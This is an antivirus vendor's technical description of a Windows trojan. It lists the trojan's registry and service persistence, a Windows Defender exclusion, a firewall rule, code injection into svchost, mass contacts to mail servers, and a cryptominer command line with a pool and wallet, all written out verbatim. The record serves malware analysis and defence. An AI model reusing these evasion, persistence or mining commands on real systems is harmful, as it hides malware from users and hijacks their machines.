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Trojan.Siggen9.24189

Added to the Dr.Web virus database: 2020-03-23

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\eatknlzs] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\eatknlzs] 'ImagePath' = '%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\eatknlzs] 'ImagePath' = '%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\eatknlzs' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\dxxozizb.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\dxxozizb.exe to %WINDIR%\syswow64\eatknlzs\dxxozizb.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • http://ip##fo.io/ip
  • '18#.#65.238.150':426
  • '17#.#.114.177':426
  • '46.#.52.109':426
  • '93.##9.69.109':426
  • '46.#8.66.2':426
  • 're#####.kiev.sovam.com':25
  • 'ca####.mines.edu':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'sp#####an.symetra.no':25
  • 'mx#.#####0-83.c3s2.iphmx.com':25
  • 'fe####.#ail.saunalahti.fi':25
  • 'rc####te.riq.net':25
  • 'ma####.mailtwo.com':25
  • 'ma##.outdrs.net':25
  • 'ma##.####ingstylemagazine.com':25
  • 'sm####.umontreal.ca':25
  • 'xt####l.xtramix.ae':25
  • 'mt####rasil.com.br':25
  • 'mx.#####.orange-business.com':25
  • 'ma##.#erious.com':25
  • '78.#1.67.23':426
  • '43.#31.4.7':443
  • 'na#.###.#rotection.outlook.com':25
  • 'mx#.mail.ru':25
  • 'alt2.aspmx.l.google.com':25
  • 'mi####.bittubeapp.com':13333
  • 'ASPMX.L.GOOGLE.com':25
  • 'gmail-smtp-in.l.google.com':25
  • 'mx####.##il.gm0.yahoodns.net':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx#.#uukku.com':25
  • 'in#######mtp.cp.blacknight.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'eu#.###.#rotection.outlook.com':25
  • 'mt####.infomaniak.ch':25
  • 'ff######x-vip1.prodigy.net':25
  • 'mx####.maychuemail.net':25
  • 'pa####x.above.com':25
  • 'mx#.#aver.com':25
  • 'mx#.ukr.net':25
  • 'ma##.wieser.at':25
  • 'in##.rambler.ru':25
  • 'mx#.#anmail.net':25
  • 'ma##.axtl.ws':25
  • '20#######1.pamx1.hotmail.com':25
  • 'ma##.#eranit.com.tr':25
  • '85.##4.134.88':482
  • 'as#.##flexion.net':25
  • 'mx.##ndex.net':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK sm####.eastlink.ca
    • DNS ASK ne##i.fi
    • DNS ASK fe####.#ail.saunalahti.fi
    • DNS ASK fu##re.ca
    • DNS ASK ma########1.futureelectronics.com
    • DNS ASK mo###ntum.no
    • DNS ASK sp#####an.symetra.no
    • DNS ASK ep####estore.com
    • DNS ASK bw#.#astlink.ca
    • DNS ASK dy###erve.net
    • DNS ASK lo###net.com
    • DNS ASK la#####ercomunicare.it
    • DNS ASK ma##.###etepercomunicare.it
    • DNS ASK mo###orod.ru
    • DNS ASK be###outh.net
    • DNS ASK ff######x-vip1.prodigy.net
    • DNS ASK sp##nt.ca
    • DNS ASK en###o.on.ca
    • DNS ASK ma##.#noreo.on.ca
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK re#####.kiev.sovam.com
    • DNS ASK po####.victoria.bc.ca
    • DNS ASK mx#.mail.ru
    • DNS ASK hc###r.nf.ca
    • DNS ASK un###siness.net
    • DNS ASK wi###wslive.com
    • DNS ASK na#.###.#rotection.outlook.com
    • DNS ASK co####.kyschools.us
    • DNS ASK google.com
    • DNS ASK ho##ail.it
    • DNS ASK ch#.ab.ca
    • DNS ASK st#####.hartnell.edu
    • DNS ASK ra###texnika.ru
    • DNS ASK mx##.nicmail.ru
    • DNS ASK mi##s.edu
    • DNS ASK ca####.mines.edu
    • DNS ASK os####e.yorku.ca
    • DNS ASK ma######very-1.uit.yorku.ca
    • DNS ASK sv###nline.com
    • DNS ASK lo##pick.se
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK ya##o.co.uk
    • DNS ASK co##el.com
    • DNS ASK co##ast.net
    • DNS ASK be###outh.com
    • DNS ASK in###fimo.fr
    • DNS ASK mx.#####.orange-business.com
    • DNS ASK ce##ous.com
    • DNS ASK ma##.#erious.com
    • DNS ASK ne##om.ca
    • DNS ASK te###.com.br
    • DNS ASK vi#####br-mx.terra.com
    • DNS ASK ge###urbest.ch
    • DNS ASK mt####.infomaniak.ch
    • DNS ASK ga###bby.com
    • DNS ASK hc##c.gc.ca
    • DNS ASK ya##o.es
    • DNS ASK to####kers.com.ar
    • DNS ASK mx###.#l79.sinspam.com
    • DNS ASK bu##.##tivestate.com
    • DNS ASK we####nassurance.ca
    • DNS ASK av###erkut.ru
    • DNS ASK mx.##ndex.net
    • DNS ASK ce#####ttherocks.com.au
    • DNS ASK co###evel.com
    • DNS ASK ma#l.ru
    • DNS ASK xt####l.xtramix.ae
    • DNS ASK as###.facebook.com
    • DNS ASK rr#.#ouv.qc.ca
    • DNS ASK rc####te.riq.net
    • DNS ASK ya##o.it
    • DNS ASK pr####tsonsale.com
    • DNS ASK uc.#c.ca
    • DNS ASK cl######.eu.messagelabs.com
    • DNS ASK ag#.#ouv.qc.ca
    • DNS ASK ad##ess.com
    • DNS ASK ma####.mailtwo.com
    • DNS ASK ou##rs.net
    • DNS ASK ma##.outdrs.net
    • DNS ASK pw##c.gc.ca
    • DNS ASK mx.####.seg-egs.gc.ca
    • DNS ASK my##s.net
    • DNS ASK mx.##mts.net
    • DNS ASK um###real.ca
    • DNS ASK sm####.umontreal.ca
    • DNS ASK xt##mix.ae
    • DNS ASK li#e.dk
    • DNS ASK mx#.#omcast.net
    • DNS ASK 20#######1.pamx1.hotmail.com
    • DNS ASK ne##abo.pt
    • DNS ASK ma##.#eranit.com.tr
    • DNS ASK al######dar.finmeccanica.it
    • DNS ASK t-##line.de
    • DNS ASK mx##.#-online.de
    • DNS ASK mt####rasil.com.br
    • DNS ASK tr##yg.com
    • DNS ASK re##ult.com
    • DNS ASK sm##.renault.fr
    • DNS ASK or##ge.fr
    • DNS ASK sm####n.orange.fr
    • DNS ASK ja##w.com
    • DNS ASK li#e.fr
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK ho###il.co.uk
    • DNS ASK gm#.de
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK ti##ali.it
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK in#######mtp.cp.blacknight.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK em###qmail.com
    • DNS ASK ex##te.com
    • DNS ASK ya##o.com
    • DNS ASK co###ight.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK at#.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK mx######91d01.pphosted.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ao#.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK mx####.##il.gm0.yahoodns.net
    • DNS ASK st###lamp.com
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ASPMX.L.GOOGLE.com
    • DNS ASK gm##l.com
    • DNS ASK gmail-smtp-in.l.google.com
    • DNS ASK se##no.it
    • DNS ASK lu##ku.com
    • DNS ASK mx#.#uukku.com
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK se####stcomms.com
    • DNS ASK dh##a.net
    • DNS ASK ma#######xcite.roc2.bluetie.com
    • DNS ASK th####irls.co.uk
    • DNS ASK mm#.org
    • DNS ASK ma######y1.mainehealth.org
    • DNS ASK wi##er.at
    • DNS ASK ma##.wieser.at
    • DNS ASK we######tylemagazine.com
    • DNS ASK ma##.####ingstylemagazine.com
    • DNS ASK sh#w.ca
    • DNS ASK sm##.##b.shawcable.net
    • DNS ASK ra##ler.ru
    • DNS ASK in##.rambler.ru
    • DNS ASK re#####ingschools.org
    • DNS ASK ha##ail.net
    • DNS ASK mx#.#anmail.net
    • DNS ASK ax#l.ws
    • DNS ASK ma##.axtl.ws
    • DNS ASK tu###arsales.ca
    • DNS ASK co###serve.com
    • DNS ASK va###ci-tr.com
    • DNS ASK ho##ail.de
    • DNS ASK mx#.ukr.net
    • DNS ASK tr####pierce.com
    • DNS ASK uk#.net
    • DNS ASK ho##ail.com
    • DNS ASK we#.de
    • DNS ASK mx###02.web.de
    • DNS ASK tu####ong.com.vn
    • DNS ASK mx####.maychuemail.net
    • DNS ASK fr##i.it
    • DNS ASK ho##ail.fr
    • DNS ASK mc####fitzgerald.ie
    • DNS ASK mx#######901.gslb.pphosted.com
    • DNS ASK al###isusa.com
    • DNS ASK mx#.#####0-83.c3s2.iphmx.com
    • DNS ASK ti###linet.it
    • DNS ASK ho##esf.com
    • DNS ASK as#.##flexion.net
    • DNS ASK sc.#enai.br
    • DNS ASK na##r.com
    • DNS ASK mx#.#aver.com
    • DNS ASK gm##p.com
    • DNS ASK pa####x.above.com
    • DNS ASK ve#####scosmetics.com
    • DNS ASK ma###.corvel.com
    • DNS ASK mx.###turylink.net
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\eatknlzs\dxxozizb.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\eatknlzs\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxxozizb.exe" %WINDIR%\SysWOW64\eatknlzs\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create eatknlzs binPath= "%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description eatknlzs "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start eatknlzs' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\eatknlzs\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dxxozizb.exe" %WINDIR%\SysWOW64\eatknlzs\
    • '%WINDIR%\syswow64\sc.exe' create eatknlzs binPath= "%WINDIR%\SysWOW64\eatknlzs\dxxozizb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description eatknlzs "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start eatknlzs
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k

    Curing recommendations

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      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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